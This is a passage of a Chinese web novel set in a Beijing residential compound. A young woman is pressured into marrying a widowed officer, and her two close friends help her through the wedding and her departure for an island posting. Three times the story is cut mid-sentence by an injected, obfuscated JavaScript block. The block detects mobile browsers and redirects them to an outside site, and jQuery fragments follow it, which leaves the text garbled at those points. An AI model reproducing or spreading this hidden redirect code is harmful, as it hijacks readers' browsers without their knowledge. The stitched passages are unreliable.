“你说啥?那个男的结过婚,还有个闺女,居然还找媒婆向佳佳提亲?” 信息含量过载,熊幼美反应了好一会,随即一股怒火从胸口升到脸颊。 她气红了脸,怒骂:“这人好不要脸,都是二婚了,还来败坏佳佳的名声!” 李虹霞抚摸她的背,补充道:“你梁叔叔答应了。” “什么?为啥啊?他们家也不缺成分呐。” “那个人是个副团级干部。” “啊?” “那佳佳咋说?” 李虹霞沉默。 “佳佳,说了不算。” “啊?怎么说了不算?现在不是提倡自由婚姻,反对包办吗?” 李虹霞用干燥的双手不停抚摸她颤栗的脊背,“佳佳爸爸劝,她后妈劝,街道办的干事也来劝,厂里的领导也来劝,张口光荣,闭口奉献。” “人不可能以一敌百,跟大环境对抗。” 说到最后,她的嗓音干涩,看着眼前明眸皓齿的女孩,她突然意识到,跟大环境比,她也是很小的一粒沙。 小美终究要结婚。 她在妇联干了很多年,见过数不胜数的家庭惨剧,总不放心女儿一个人加入另一个陌生的家庭,依赖着唯一熟悉的丈夫生活。 可是今天的事给她敲响了警钟。 别人或许会觉得扛着不松口的梁友佳不识好歹,那人是高级干部,长得一表人才,年轻有为,虽然是二婚,有个女儿,但是在别人眼里仍然是不可多得的良配。 李虹霞想起白天的种种,不免后怕不已,如果有人强迫她闺女给人当后妈,她拼死也不答应,管它什么大道理,不行就是不行。 “妈妈,你怎么不说话了?是不是生气了?”熊幼美敏锐地察觉到李虹霞情绪的变化,揽住她的腰问。 “妈妈不生气,是难过。”为女孩的命运难过。 “妈,你别太伤心,我去找佳佳和小虎。” 她跑出去,眼眶里的泪被风吹落。 她在大树下找到了蹲成两只蜗牛的梁友佳和唐虎薇。 她跟着蹲下来,小声说:“那个男人果然不安好心!” 梁友佳无助:“小熊,小虎,我该怎么办?” 唐虎薇沉默,“我打不过他。” 她打得过那个男人,打不过那么多人的唇枪舌剑。 熊幼美没有再拍蚊子,把自己缩成一小团,想了一会,破罐子破摔:“他不是要跟你结婚吗,那你就结,要很多很多的彩礼,男人都抠门,提钱就退缩。” “他是军官,应该不缺钱吧。” “……” 唐虎薇:“他要是对你不好,你就去他们领导办公室门口上吊。” 梁友佳害怕:“真的要上吊啊?万一死了咋办?” 熊幼美:“傻不傻,里面到处都是人,咋可能眼看着你死,你还可以用鸡血写血书控诉他,贴满整个军营。” 唐虎薇补充:“我从今天起加强锻炼,以后他要是动你一根手指,我立马找他算账,不让你受委屈。” 梁友佳又哭又笑,说起坏主意,这两个人你一言我一句,黑水不住地往外冒。 可是这都是为她。 虽然周铮从外表看并没有那么残暴,各方面条件也很突出,但是知人知面不知心,短短几面之缘就能看出,他作风强势冷硬,不留余地。 现在她们能做的就是一边喂蚊子一边绞尽脑汁地预想各种对策。 因为有这两个好朋友,梁友佳才能在一团乱麻的生活里品出几根甜丝丝的麦芽糖。 14. 红糖小米粥,好喝! 这天晚上,她们又睡在了熊幼美的床上。 熊桦:“我看咱家买的最值的家具就是熊幼美的大床。” 李虹霞给他一巴掌,“你要是看谁家的床睡不回本你也可以去他家睡。” “妈,你要我做上门女婿啊?” “……” “随你,我和你爸没意见。” 李虹霞转身回自己房间,熊爱国掐掐手指,“如果你要嫁出去,最好找个能给六十六块彩礼的姑娘。” 熊桦深深看了一眼亲爹,无话可说,抹了把脸回屋,眼不见心不烦。 这个晚上,女孩们的房间断断续续传来小小的说话声。 聊到后半夜,熊幼美最先忍不住睡着,唐虎薇侧身面向梁友佳,紧紧握住她的手,传递给她干燥的温暖和可靠的安全感。 她轻声说:“没关系,有我呢。” 如果是梁友佳的父母来说这句话,一点作用都没有,就连心理上的安慰都不会产生。 但是最好的朋友在身旁的每一次呼吸都会带给她巨大的勇气。 梁友佳露出一个雨后天晴的笑容。 第二天的梁友佳重整心情,拍拍脸颊,虽然未知很可怕,但是她还有两个好朋友充当军师啊。 所以她并不是孤立无援! 梁友佳对着镜子扎起两根整齐的麻花辫,镜子里的她一扫昨日的迷茫,眼睛有光,嘴角高扬。 “早上好呀,小熊,小虎。” “早上好,佳佳。” “桦哥,早上好。” 熊桦从厨房探出头:“早啊,吃早饭吧,我做的。” “是小米粥吗?” “嗯,里面还放了一点红糖,等会多喝两碗。” “什么?居然是红糖小米粥?”熊幼美瞬间来了精神,快步走向厨房验证。 唐虎薇:“是李姨要放的吧?” 熊幼美一家四口身体倍棒,伙食很好,每个月红糖的消耗量也很少。 李虹霞的想法是,反正红糖票攒着也没用,不如都给喝掉。 所以她们家在心情不好或者有特殊意义的日子都可以喝。 “还真是嘿,黑乎乎的小米粥,闻着就香。” 唐虎薇趴在熊幼美肩膀上跟着探头,活像两只小动物趴在水池边照水镜。 早上饭厅的空气里荡漾着的都是红糖小米粥香香甜甜的味道,让人的心情也轻盈起来。 黄灿灿的阳光照在木家具上,空气中浮动的细尘都是金色的小光点,心底的积霾一扫而空,全都化成了一个红糖味的饱嗝。 吃完早饭该上班的上班,梁友佳也跟着出门,打算送唐虎薇和熊幼美上班,送完她们,她要去逛公园,解放心情。 这是熊幼美的建议,她和小虎如果都不上班就可以和她一起去了,还可以画鸭子画麻雀。 想想就有意思。 梁友佳:“等你们休息的时候我们就去公园野餐怎么样?” 熊幼美连连点头:“好呀好呀。” 唐虎薇摸着下巴思考:“我得看看那天需不需要我值勤。” “小虎,你的工作好忙啊。” “没办法,鸡零琐碎的事太多,而且不知道什么时候就有矛盾出现要我们调解。” “理解理解,我也得去废品站淘宝了,不知道今天有没有小人书送过来。” 想到又有新的小人书可以看,她不禁兴奋地蹦了两下。 唐虎薇同样干劲满满地走进派出所,一双眼睛又明又锐。 梁友佳在公园走走停停,坐到长椅上休息,仰望头顶遮蔽朝阳的绿荫,眯着眼伸了个懒腰。 她刚才好像听见小熊小虎喊她一起捉蜻蜓。 这里不要门票,是她们小时候的游乐场,她们跑遍了这里的每一个角落,玩遍了所有能玩的游戏。 不过现在就她一个人独享悠闲咯。 “你好,梁同志。” 梁友佳抬眼,惊讶地起身,有些不知所措。 “你好,周同志。” 周铮有备而来,穿着笔挺的军装坐到她身旁,梁友佳犹豫两秒,跟着坐下来。 “昨天的事情我已经听说了,是我考虑不周,给你造成了意外的压力,希望你能原谅我,梁同志。” 人家都这样说了,梁友佳还能说什么。 “没关系。”说话时她垂着眼眸,盯着掌心纹路细瞧。 周铮继续说:“不过我是诚心诚意想要和梁同志组成一个家庭的,如果你有什么要求可以提。” 梁友佳只是问:“为什么?” “我这个人比较看眼缘,我觉得你很适合做我的妻子。” “温柔、体贴、善良,你身上的这些美好品质正是我一直欣赏的。” 梁友佳唇角情不自禁勾起嘲讽的弧度,他不知道在哪瞧了她一眼,就说她温柔。 但是她矫情,爱生闷气,还很自私幼稚,和他说的完全不一样。 “那你前妻呢?离婚了?” “没有,她难产去世了,留下一个女儿,目前由我母亲照顾,她还不到三岁,很可爱,等我们结婚后,我们可以一起照顾她。” 他自说自话的能力让人佩服。 “我可以不同意吗?”梁友佳轻声。 “梁同志,我以为我是你目前最好的选择,就我所知,你目前面临着下乡,就算没有下乡,你也要嫁人,那个人为什么不是我呢?” “……” 她张口想反驳什么,最终什么也没说。 她妥协般轻呼一口气,问:“如果结婚,我们在哪里生活?” “我目前在海岛上驻扎,这次过来参加培训,如果你愿意,我们可以在北京结婚,婚后回到海岛,那里四季温暖,气候湿润,不用担心严寒和干燥。” 梁友佳注意到他嘴唇有裂痕,看得出来他不是很适应首都的天气,即使夏天没有那么干燥。 她下意识提醒:“多喝水就不会干裂了。” 周铮冷直的唇角松动,“谢谢,我会的。” 他严肃惯了,连笑都别扭。 梁友佳突然放松下来,没有再盯着他看,望向远处的湖水。 周铮顺着她的目光看向碧绿的湖,无风的湖面像一块巨大的翡翠。 他们之间紧绷的氛围在湖波与柳枝的拂动中渐渐松弛。 周铮人如其名,信奉的是积极进取,想要什么就去争,职位是如此,配偶也是这样。 有了一定的地位,再娶一个温柔贤惠的媳妇,生几个孩子,这就是雷厉风行的副团长最大最普通的愿望。 好在,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491186|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切都渐入佳境。 周铮微眯起眼睛,舒适极了。 晚上梁友佳当着两个好朋友的面,宣布了自己的决定。 “我想好了,我嫁给周铮。” “这么快就决定好了吗?” 唐虎薇皱着眉头盯着树根,不发一言。 “今天他和我聊了聊,我感觉他还可以,既然没有别的更好的选择,就选他吧。” “……” 这算什么?自我安慰还是破罐子破摔? 熊幼美消化完这个消息,忍不住操心:“你做好照顾一个小孩子的准备了吗?你还是个孩子。” 梁友佳仔细考虑后认真地说:“我会尽力的,因为我想我不是一个很坏的人,可以对她好的。” 熊幼美捏紧她的手,重申道:“你当然不是个坏人,不会有人比你更好了。” 唐虎薇点头,“你在岛上如果缺什么就给我们写信,岛上的物资肯定比不了首都,我们给你寄。” 熊幼美:“一个月要写十五封信才可以。” 唐虎薇制止:“十五封太多了,十三封就可以了。” 梁友佳哭笑不得,重重点头:“好。” 这件事就这样定了下来,一切都在有条不紊的进行,婚礼酒席在大院办,热心的邻居忙得风风火火,这家借些钱票,那家出些板凳和锅碗瓢盆。 一时间,大院儿热闹得不行。 熊幼美和唐虎薇陪着梁友佳在百货大楼挑衣服,她们三个高高兴兴地从头逛到尾,再从上逛到下。 生活就是这样,如果反抗不了,就抓住每一个开心的时刻。 明日愁来明日忧。 梁友佳挽着朋友的胳膊,感叹:“一下多了好多存款,这种感觉太棒了,一夜暴富啊。” 彩礼钱由梁友佳自己保管,她爸没有要,甚至出了二百块钱的嫁妆。 梁父的想法是,拿不出八九百买工作,闺女的嫁妆好歹要体面些,远嫁到外地才不容易被欺负。 熊幼美毫不掩饰吃大户的心思,“那你要请我和小虎吃冰棍,奶油的。” 唐虎薇连连点头:“没错没错,中午来一根,晚上再来一根。” 梁友佳大方道:“中午我请你们下馆子,吃完饭再来根冰棍,怎么样,我够朋友吧?” “中午你不回去准备结婚的东西呀?” “有什么好准备的?冷不着饿不着就行。” 定下婚事后,梁友佳愈发洒脱,反正都这样了,顾好自己的开心最重要。 她的快乐带动了两个好朋友的情绪,她们一扫之前的焦虑紧张,跟着轻松起来。 梁友佳虽然没有熊虎二人自信张扬,但是面对生活的变化,她也常有亮眼之举。 晚上她们三个并排躺在熊幼美的床上。 唐虎薇问:“到了那边可以安排工作吗?” “应该可以吧。”梁友佳也不知道海岛上是什么情况。 一切未知。 “就算不能安排工作,你也可以继续写文章投稿呀。” 熊幼美不觉得这是什么问题,梁友佳的作文得过奖,偶尔也会有豆腐块大小的文章见报,是大院里名副其实的才女。 提到自己有着小小成绩的领域,梁友佳露出几颗牙齿,眯起的眼睛里星光点点。 15. 小胖地主请吃小豆冰棍 梁友佳的婚礼日期很近,因为周铮来京培训的时间快结束了。 结婚当天,周铮一身立整的白色军装,头发刚理过,脸庞棱角分明,五官坚毅英俊,是极为符合当下人审美的长相。 他踩着锃亮的皮鞋,推着一辆崭新的自行车走进大院, 身后跟着的几个小伙子穿着同样的白色军装,一起推着自行车走进来,年轻的脸上满是意气风发。 男女老少看得目不转睛,根本拔不出来,真俊啊! 尤其是有军装的加成。 挂着鼻涕的小孩央求:“爸,妈,我也要当兵。” 扎堆的大婶:“不知道这些小伙子有没有对象,我外甥女还没结婚呢。” 十七八岁的男生眼里的羡慕遮掩不住,想象着自己穿上那套衣服有多神气,拳头攥紧,激动地锤了两下旁边的小伙伴。 身边人没有任何反应,因为他也看痴了,一双眼睛黏在军装上。 梳着大辫子的姑娘们手挽着手,用余光偷偷打量他们,笑声含蓄,合在一起形成奇妙的韵律。 熊幼美和唐虎薇陪着梁友佳走出来。 梁友佳穿着一件红色短袖衬衫,下身是一条黑长裤,端的是窈窕淑女。 她双手背在身后,站在周铮面前,周铮握紧了车把,俯首低声:“走吧。” “嗯。” 旁边起哄的人不少,只不过两个人都不为所动。 他们要骑着自行车绕街道一圈,权当接亲了。 唐虎薇跟着梁友佳一起,防止突发情况。 熊幼美没啥事,随处乱溜达。 没一会功夫她就被厨房的阿姨婶婶赶出来了,因为她一直偷吃,被赶到外面招待来宾。 梁友佳姑姑冲着闲逛的熊幼美招手:“小美,来来来,你是高中生,你帮我登记,我去帮着后厨忙活忙活。” “好,梁姑姑我来记,您去歇歇吧。” “我哪歇得下啊,一会儿接亲的人就回来了,我得帮着招待呢。” “好好好,您快去吧。” 熊幼美拉伸胳膊,摇晃着笔,探头探脑往门口瞅,不知道佳佳和小虎什么时候回来。 “是在这登记吗?”一道温和的男声出现。 “是。” 熊幼美抬头,“季风哥?你出差回来了啊?” 季风长得白净高大,鼻梁上架着一副眼镜,文质彬彬,说话办事不疾不徐,对熊幼美和唐虎薇她们这些弟弟妹妹很关照。 虽然没有大几岁,但是他就像大家长,会让着她们,也很会照顾人,所以很受欢迎。 他笑着点头:“我给你带了邮票,给小虎和佳佳带了酥糖,对了,佳佳今天结婚?” 熊幼美点点头,一点也不意外,有什么消息,从巷子口一走进来,就能听一路,想不知道都难。 “嗯。”她不知道该怎么说,只好催他:“季风哥,你快回去休息吧,等开席了我去喊你。” “好,等晚上不忙了来我家取东西。” “晓得啦。” 送走季风哥,熊幼美想了想,把季风哥的名字填上,他的礼金她先给垫上,反正也没几毛钱。 在这坐了一会就写了这一个人,李虹霞过来,把熊幼美叫走,自己替她。 这源于她不可告人的小心思。 今天人多,不知道会不会再出来一个“周铮”,她不得不防。 “妈,你在这,那我去干啥?给我派个活呗。” 李虹霞想了想,从兜里掏出一块钱说:“你去供销社买两个奶油冰棍,在外面吃完再回来。” “一次吃两个?”熊幼美惊讶。 李虹霞笑着点头。 熊幼美瞪大眼睛,反应过来后美不滋儿地一溜烟就溜远了,生怕李虹霞后悔。 半路碰到小胖,他和附近的小孩玩打仗游戏,他扮演挺着将军肚的太君。 “巴嘎。”小胖一手扶着肚腩,一手摸着嘴巴,原本应该是要摸人中的,但是手指太胖…… 怪腔怪调的奶音,熊幼美不禁乐出声,她还以为是巴嘎一下死掉的旁白呢。 她招呼他:“小胖,要不要跟我去吃冰棍儿?” 小胖用手背一抹额头的汗水,皱巴着脸说:“走,我不玩了,老是让我躺地上装死。” 小胖溜达着跟熊幼美走了,其他掩藏的“八路”面面相觑,大家小手一指,选出一个“太君”,游戏继续。 直到供销社,小胖都以为是他请客。 “姐,我身上的零花钱只够买一根小豆冰棍,咱俩分着吃,让我吃第一口行不?” 事实上现在的小孩大部分都身无分文,他能有几分钱已经是很富裕了。 难怪他在打仗游戏中,小部分时候是“地主”、“太君”,大部分时候会扑通一下倒在地上装死。 熊幼美跟他打商量:“我请你吃奶油的,你请我吃小豆的。” 小胖掰着手指算,一点头同意了。 划算! 于是迎亲车队回来的时候,唐虎薇就看见这一大一小蹲在路边一边舔冰棍,一边叽叽喳喳不知道在说什么,俩人眼睛被脸上的婴儿肥一挤,全眯成了弯月牙。 看样子是吃美了。 熊幼美瞧见她们,冲她们招手,唐虎薇点头致意,不知道的还以为是领导巡讲回来了呢。 “姐,冰棍快化了。”小胖提醒。 熊幼美赶紧低头咬了一口。 小胖吃一个就高兴地眉飞色舞,但是旁边的小美姐吃两个,一手一个。 这边舔舔奶油的,那边舔舔小豆的,时不时吧唧吧唧嘴,砸吧砸吧味。 小胖眼巴巴地瞅:“咋样,小美姐,肯定是奶油的好吃吧?” 熊幼美遗憾摇头:“都好吃,分不出来。” “奶油的最甜!”小胖馋得直流口水。 他这小孩儿打什么主意小美怎么能看不出来,把小豆冰棍递到他嘴边,“给你给你,最后一口是你的了。” “真哒?”小胖一口咬掉,凉的龇牙咧嘴还说呢。 “就是奶油的好吃。” 吃完冰棍,熊幼美和小胖蹲在地上玩了会五子棋。 俩人杀得有来有回,有输有赢,都觉得自己棋高一着,玩得那叫一个尽兴。 小胖他妈妈来喊他吃饭,小美和小胖才一起回去。 回去后熊幼美先去找了自己妈妈,李虹霞冲她招手,“快过来,我给你占着座呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491187|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “上菜了吗?我爸呢?” “你爸还用你操心?”李虹霞小声:“他昨天晚上就没吃东西,就等今天这一顿呢。” 熊幼美捂着嘴偷乐,是她爸能干出来的事。 “那我哥呢?” “跟他朋友在一起呢,甭管他,咱吃咱的,他那体格子吃不了亏。” 熊幼美突然想起来忘了叫季风哥来吃饭,她赶紧站起来四处寻找。 在熊桦那桌看见了他,她就放心了,省得她再上楼跑一趟。 现在还没开席,熊幼美闲不住,抓着李虹霞的手翻来覆去地看,顺便打听:“妈,今天有鸡腿吃吗?” “有,等会手快点。” 李虹霞对闺女是不担心的,自家人在吃好东西上从不落后于人。 开饭前熊幼美把额前的头发用一字夹夹在一侧,神清气爽,准备大干一场。 菜一道道摆上桌,有鱼有鸡有鸡蛋,还有红烧肉! 这桌上都是女同志,有大妈也有小年轻,面对好肉好菜,什么矜持全都一边去,筷子唰唰唰,一会功夫就落个肉汤底儿了,还被几个大妈拿二合面馒头给沾没了。 熊幼美没沾,这当然和尊老爱幼这种高尚的理由扯不上边,完全是,吃馒头多占肚子啊,不吃不吃。 后面又上了几道炒时蔬和凉拌菜,熊幼美吃得也很高兴,“这个厨师手艺真好。” “是庞大厨做的,肯定好吃啊,在厂里没少给领导做小灶,手艺没得说。”旁边的邻居大妈抽空给庞大厨竖了大拇指。 另一个大姐说:“要我说还得是新郎官大方,这大鱼大肉的,能不好吃嘛。” 熊幼美不这么觉得。 “他都三十多了,娶了佳佳,再不大方点,又抠又老,这人还能要吗?” 大姐不认:“这咋不能过,不就是岁数大点,有个娃嘛,人家可是军官,多好的条件啊,八辈子修都修不来。” 熊幼美:“大姐,真是可惜了的,您要是年轻个几岁,今天结婚的就是您了啊,来,吃口大蒜去去火。” 大姐拍着大腿真心惋惜,“这怎么说不是呢。” 熊幼美现在觉得这大姐挺好玩的了。 又给她夹一筷子豆芽,“大姐啊,想开点,我姐夫对您也不差啊。” “你姐夫是不差,就是不够好看啊。” “好看管啥用呀,金玉其外败絮其中。” “啥金玉啊,我也听不懂,我就知道啊,小周比你姐夫看着顺眼。” “可是我姐夫老实啊。” “唉。”一声叹气道尽了所有的无奈。 当一个男同志只能让人夸老实的时候,女同志除了唉一声还能怎么办呢? 李虹霞坐旁边听着闺女跟旁边人胡侃,吃喝不误,只要闺女不吃亏就成。 吃到中途,周铮和梁友佳端着酒杯过来敬酒。 “大家吃好喝好,我先干为敬。” “好好好。” 熊幼美冲梁友佳眨眨眼,梁友佳朝她哝哝嘴,没啥意思,好朋友见面就要作怪。 这桌都是女同志,除了调侃几句,没有劝酒的,很快就过去了。 剩下的人坐回去,继续吃吃喝喝,胡聊瞎扯。 16. 砰砰嘣爆米花 婚礼第二天一大早,熊幼美敲隔壁的门。 “小虎,小虎。” “来了,来了。” 话音刚落响起吸粥的声音,唐虎薇一抹嘴,戴上蓝色警帽,短发压在帽檐下,活脱脱一个飒女郎。 熊幼美挽着她的胳膊问:“今天你要去值班吗?” “对啊,你找我干啥?” “季风哥回来了,他给咱带了不少好东西,我们一起去拿呗。” “那就快走,肯定有好吃的,我等会带点去值班,一天都不饿了。” “你平时老饿啊,等会我回家问问我妈还有没有玉米粒,嘣点爆米花,这个好吃又当饱。” “行,嘣完放你家,每次出门前你给我带一包就行,放家里没有半天就被我弟弟妹妹吃光了。” “我明白。” 熊幼美对这对弟妹也心有余悸,所到之处如蝗虫过境,颗粒不留。 她们一边往后楼走,一边东拉西扯,不可避免地说起昨天结婚的梁友佳。 “佳佳什么时候走啊?”熊幼美明明知道答案,还要再问一次。 “明天。” “也不知道她能不能适应海岛的日子。” “唉。” 宋秋英一打开门就看到好好的姑娘满脸忧愁。 “你们这是怎么了,一个个的都这么郁闷。” “没事,阿姨,我们找季风哥。” 季风端着碗出来,看见是她们,连忙把碗筷放下,背过身迅速擦擦嘴,喝口水漱口。 “你们来了?快进来坐,我把东西拿出来。” “噢。” 熊幼美和唐虎薇都不是见外的人,尤其是这里,她们熟得很。 坐在沙发上一看,茶几上有一小盘糖块和花生瓜子,先剥开一块糖塞嘴里。 刚好嫌早上嘴里没味道呢。 熊幼美没话找话:“甜不甜?” 唐虎薇觉得稀奇,“糖还有不甜的呢?” “嘿嘿。” 两个人鼓着一侧的腮帮子玩翻花绳。 这种东西是熊幼美从裤子口袋里翻出来的,她的理由是:“这种东西又不占地方还能随时打发时间,带着不亏!” 唐虎薇觉得她很有远见,现在就用上了。 宋秋英刷完碗出来一看,俩人都已经玩上了。 她擦擦手说:“你们在阿姨家玩着,今天供销社有新鲜猪肉,我得赶紧去排队了。” 熊幼美:“快去吧,阿姨,我爸连饭都没吃就去了。” 季风拿着一大包东西出来。 “这么多啊!” 熊幼美和唐虎薇面面相觑,她们惊讶,季风哥是采购员,以前出差也会带些特产回来,但是也没有这么夸张。 季风把包裹放地上,从里面挑出三大铁盒的酥饼糕点,一人一盒。 又从最底下拿出二十多本小人书放到熊幼美面前,唐虎薇目光变得了然,投其所好啊,她和佳佳都是顺带的。 “谢谢季风哥!”熊幼美高兴地说。 “别急着谢,我去那里的邮局发现有几版邮票是咱这没有的,就给你买回来了。” 熊幼美抱着邮票问:“季风哥,还有吗?” 季风翻了翻大包,拿出最后的特产,一对银蜻蜓发卡,看得出来是老物件,放了得有七八十年,但是做工精致。 “这是我偶然在一个扫厕所的老奶奶手里买到的,只有这一对。” 唐虎薇看出他为难,当即表示:“我不要,我平时戴警帽,用不着发卡。” 熊幼美便说:“我要我要。” 她喜欢这种好看的小物件。 熊幼美点了点小人书和邮票还有发卡,掏出钱,这是她上个月的工资,还没怎么花呢。 一股脑全给了季风,这些东西有钱都买不着,季风哥这么费心,她不想让他太吃亏。 “季风哥,我真是太高兴了,谢谢你,晚上去我家吃饭,我爸下厨,我们先回去了,小虎还要上班呢。” 熊幼美叽里咕噜一通感谢,赶紧抱着东西和唐虎薇一起走了,生怕他推辞。 两个人推门就跑,晨风从开着的门吹进来,带着几片绿叶。 季风看着手里有零有整的钱,无奈一笑。 他就是喜欢这样风风火火的小美,看见她,仿佛看见了无穷无尽的夏日,热情,朝气蓬勃盎然。 唐虎薇把东西放到熊幼美的房间便上班了,跑着去的,快要迟到了。 小美则在厨房里翻找,找到小半袋玉米粒和一只干净的布袋子。 “妈,我去嘣爆米花了啊。” “去吧去吧。”李虹霞今天也不上班,她在等熊爱国买肉回来,等会要熬猪油,家里的油快用完了。 她却不知道熊幼美去找了谁和她一起。 “佳佳,去爆米花啊?” 梁友佳一打开门便是熊幼美拎着玉米袋子,冲她笑得灿烂。 她忍不住跟着笑起来,身后的屋里遍地的包裹行囊,遍地生活的琐碎,小美却喊她去嘣爆米花。 她?当然要去了! “走!” 熊幼美骑车带着她,她抱着玉米袋子,一手搂着小美的腰,两个人串街走巷,寻着“砰”“砰”的方向骑。 “吱~” 熊幼美刹住自行车,终于找到了。 梁友佳去排队,她把自行车锁在一边。 熊幼美吸吸鼻子:“爆米花好香啊。” 旁边已经嘣完的姑娘嚼着新出炉的爆米花,点评道:“就是有点粘牙。” “粘牙好啊,慢慢吃,就当磨牙了。” 姑娘也觉得有道理,分给她们一人一小把,“你们拿着慢慢吃吧,排着队吃,就当磨牙了。” 最后一句学了熊幼美的语气,三个人都笑了。 这女同志很大方,尽管爆米花算零嘴,但是也是用粮食做出来的,粮食金贵,她却能分享给陌生人,熊幼美掏出两块糖递给她:“给,你等会骑车的时候不能吃爆米花,却能吃糖。” “你想的周到。”姑娘笑着接过来,对这个年轻女同志的感官越来越好,不仅说话有意思,而且也不贪小便宜。 “你们叫什么名字?” “熊幼美。” “梁友佳,你呢?” “金满春。” “大气。”熊幼美喜欢这个名字。 三人交换姓名后,金满春便骑自行车离开了。 手里的爆米花吃完,正好排到了她们。 那些玉米粒没有嘣完,太多了,最后爆出来的爆米花装满了大布袋子,冒了一个小尖尖,熊幼美和梁友佳趁着热乎气,边走边吃,推着自行车慢慢往回走,边走边聊。 聊小学时的趣事,聊高中同学的现状,聊救过的小白猫,聊以前许下的梦想,聊过去,聊未来,就是不聊明天。 她们扛着爆米花回了三楼的熊幼美家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491188|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找出两个袋子,把爆米花分成三份,一人一份。 梁友佳看着白花花的爆米花倾倒下来,听着爆米花摩擦的咯吱声,簌簌声,她轻声说:“我明天早上七点的火车,你和小虎来送我呗。” “好啊,晚上来我家吃饭,叫上小虎和季风哥一起。” 梁友佳垂下眼,揉捏着一颗爆米花,“我不来了,要陪我爸吃。” “没事,我让我爸给你烙油饼裹上煎鸡蛋,给你带着火车上吃。” “行。”梁友佳不敢多说,再多说一个字,就掩不住哭腔了。 熊幼美也不说话了,只一个劲儿地咯吱咯吱咬爆米花吃。 晚上。 季风早早就来帮熊爱国和熊桦打下手,熊幼美不知道他咋这么爱劳动呢,在心里默默感叹,真是个热心人。 晚上吃饺子,第一锅饺子出来,熊幼美盛了一碗,和小虎一起给佳佳送去。 “这是猪肉荠菜馅的,特鲜,你趁热吃。” 熊幼美把碗塞到她手里,把手放到脸颊上降温。 “嗯,你们等下。” 她转身回屋,出来时碗里的饺子变成了一碗排骨。 “你们俩都爱吃排骨,家里做的不多,你们拿回去吃吧。” 唐虎薇端着排骨,温声道:“明天早上我们就来找你。” “好好好,你们快回家吧。” 小虎和小熊把碗端回去,放到桌子中间,权当给晚饭添个菜。 吃完饭,熊幼美磨叽叽地走到她爸旁边,吭哧半天不说话。 熊爱国也不吭声,肯定没好事,谁先开口谁是大傻瓜。 和熊爱国一起下棋的季风主动解围:“小美,怎么了?” “佳佳明天就走了,我想让我爸烙几张油饼给佳佳带着路上吃,我爸烙饼的手艺一绝。” “我不烙啊,那饼又费油又费面,还不是自家吃,我闲的做这苦差事啊?” 季风:“要不去我家做?我家有多余的面和油。” “不用,我有杀手锏。”熊幼美咬牙。 熊爱国宁死不屈:“跟你妈告状也不行,就没有这么败家的。” “铛铛铛~”熊幼美举起一沓小毛票在他眼前一晃。 “三块钱?”熊爱国眼力惊人,晃一眼就目测出金额。 “怎么样?这是我这个月最后的家底了,本来打算买零食吃的,现在只好上交了。” 熊爱国用手又查了一遍,查完无误,说:“行吧,看在钱的份儿上,你爹我就出山一回。” 熊幼美体会到了和熊桦同样心梗的感觉,亲爹装也不装了,好歹说一句看在她是他闺女的份上啊。 当天晚上九点多,家属楼的大家都要睡了,鼻尖的香气仍经久不散。 好多人家为了省粮食,晚上不吃饭,灌个水饱,哪经得起这样折磨。 有人忍不住掀开窗户破口大骂:“哪个杀千刀的这么晚了还做饭呐,瞧把你嘚瑟的。” “吴大爷你管得也太多了,人家开火做饭管你啥事啊?我觉得挺好的,省得自家做菜了。”吴大爷隔壁的小强耸耸鼻子,就着香味啃二合面馒头,吃得美极了。 “呸,你个傻小子,没出息。”吴大爷骂完嘭的一声把窗户关紧。 “嘿,这老头脾气真大。”小强撇撇嘴,不以为意,继续啃馒头。 三楼的罪魁祸首——熊幼美对此充耳不闻,双手枕在脑后,琢磨着明天要给佳佳带什么东西。 17. 小熊,小虎,海鸥 夏天的清晨带着几分冷意,熊幼美用力搓搓胳膊,一碗米汤下肚就不冷了。 “妈,我去送佳佳了。”熊幼美拎起厨房里的竹篮子,里面装了她爸给热好的白面烙饼。 此外,应她强烈要求,里面还裹了鸡蛋。 “知道了,要我跟你一起去不?” “不用,不用。”熊幼美摆摆手。 她推开门,唐虎薇举着手正打算敲门。 “走吧,去找佳佳。” 梁友佳和周铮站在楼下,脚边是三个大包裹,熊幼美有些担忧:“佳佳,你们怎么去车站呀?” “周铮借了一辆三轮,我爸骑自行车带我,回来的时候让我爸把三轮车骑回来,你们帮我把自行车骑回来行不?” “没问题。” 出发前,唐虎薇把穿着的外套脱下来扔到熊幼美怀里,说:“把外套穿上,我骑车不冷,你坐着吹风很凉。” “嘿嘿,俺家小虎咋这么招人待见哩。”熊幼美搂着她的腰,怪声怪调地说。 唐虎薇握着的手把抖都没抖一下,习惯了这人不着调。 火车站似乎永远都是人挤人,离别的伤情都是从把人送上车开始的。 